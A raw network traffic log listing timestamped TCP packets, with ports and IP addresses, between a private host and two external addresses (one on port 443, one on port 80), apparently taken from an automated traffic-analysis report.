Oct 21, 2024 10:46:09.786350965 CEST	443	49733	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:09.959604025 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:09.959662914 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:09.959749937 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:09.960191011 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:09.960206032 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:10.567673922 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:10.567759037 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:10.569263935 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:10.569281101 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:10.569508076 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:10.570857048 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:10.571038961 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:10.571069956 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:11.127921104 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:11.127986908 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:11.128046989 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:11.128228903 CEST	49734	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:11.128246069 CEST	443	49734	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:11.442580938 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:11.442643881 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:11.442724943 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:11.443030119 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:11.443048954 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:12.058429003 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:12.058533907 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:12.059700966 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:12.059719086 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:12.059919119 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:12.061018944 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:12.061170101 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:12.061201096 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:12.061271906 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:12.061281919 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:13.124427080 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:13.124536991 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:13.126363993 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:13.127824068 CEST	49735	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:13.127862930 CEST	443	49735	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:14.221771955 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:14.221815109 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:14.221951008 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:14.222357988 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:14.222373009 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:14.847174883 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:14.847249985 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:14.848457098 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:14.848460913 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:14.848678112 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:14.849867105 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:14.849956036 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:14.849958897 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:15.206990004 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:15.207062960 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:15.207174063 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:15.207350016 CEST	49737	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:15.207362890 CEST	443	49737	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.134938955 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.134978056 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.135052919 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.138209105 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.138225079 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.762130022 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.762201071 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.763451099 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.763462067 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.763684034 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.770335913 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.771086931 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.771116972 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.771656036 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.771686077 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.773911953 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.773958921 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.774143934 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.774169922 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.774383068 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.774409056 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.774557114 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.774578094 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.774588108 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.774600983 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.774743080 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.774768114 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.774785042 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.775150061 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.775166988 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.782533884 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.782699108 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.782716036 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:16.782740116 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.782777071 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:16.785531998 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:20.467870951 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:20.467951059 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:20.468003035 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:20.468158007 CEST	49741	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:20.468178034 CEST	443	49741	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:20.498133898 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:20.498184919 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:20.498260021 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:20.498594999 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:20.498614073 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.113616943 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.113729954 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:21.114953041 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:21.114962101 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.115194082 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.124012947 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:21.124046087 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:21.124084949 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.676175117 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.676260948 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.676325083 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:21.676508904 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:21.676522017 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.676532030 CEST	49744	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:46:21.676537037 CEST	443	49744	172.67.206.204	192.168.2.4
Oct 21, 2024 10:46:21.711061954 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:21.716156960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:21.716248989 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:21.716417074 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:21.721283913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648741007 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648756027 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648766041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648777008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648821115 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.648829937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648842096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648852110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.648855925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648868084 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648879051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648886919 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.648890018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.648900032 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.648927927 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.653960943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.653980017 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.654025078 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.810693026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.810704947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.810755968 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.810765028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.810868025 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.815741062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.815752983 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.815763950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.815774918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.815890074 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.815890074 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.820647955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.820681095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.820715904 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.820727110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.820749998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.820777893 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.820816040 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.825421095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.825433969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.825443029 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.825453997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.825464010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.825470924 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.825498104 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.825514078 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.830229998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.830248117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.830259085 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.830270052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.830292940 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.830312967 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.834948063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.834959030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.834995031 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.972980022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973007917 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973022938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973040104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973057985 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.973082066 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.973086119 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973340988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973392963 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.973416090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973426104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973464966 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.973718882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973730087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973741055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973766088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.973779917 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973793030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.973826885 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.974639893 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.974656105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.974670887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.974682093 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.974684000 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.974694967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.974706888 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.974733114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.975513935 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.975564003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.975589037 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.975601912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.975608110 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.975614071 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.975630999 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.976382971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.976401091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.976413012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.976428986 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.976433039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.976444006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.976453066 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.976480007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.977260113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.977308989 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.977322102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.977353096 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.977363110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.977377892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.977402925 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.978197098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.978214025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.978229046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.978240967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.978243113 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.978252888 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.978265047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.978288889 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.979037046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.979091883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.979103088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.979135990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.979144096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.979155064 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.979188919 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:22.979994059 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.980012894 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:22.980037928 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.033142090 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135209084 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135426998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135438919 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135449886 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135462046 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135472059 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135472059 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135483980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135492086 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135504007 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135512114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135560036 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135591984 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135602951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135612011 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135622025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135632038 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135633945 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135651112 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135656118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135664940 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135674953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135684967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135694027 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135694027 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135711908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135719061 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135724068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135734081 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.135736942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.135757923 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.136478901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.136518955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.136526108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.136533022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.136570930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.136606932 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.136616945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.136626005 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.136637926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.136653900 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.136684895 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137032032 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137042999 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137053013 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137065887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137075901 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137100935 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137110949 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137114048 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137123108 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137146950 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137351036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137394905 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137468100 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137479067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137490034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137500048 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137509108 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137514114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137522936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137532949 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137541056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137552023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137561083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137567997 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137572050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137579918 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137583971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137594938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.137605906 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.137639999 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.138300896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138313055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138324022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138344049 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.138371944 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138382912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138391972 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138402939 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138417959 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.138452053 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.138483047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138499022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138509035 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138520002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138524055 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.138530970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.138541937 CEST	80	49745	185.215.113.16	192.168.2.4
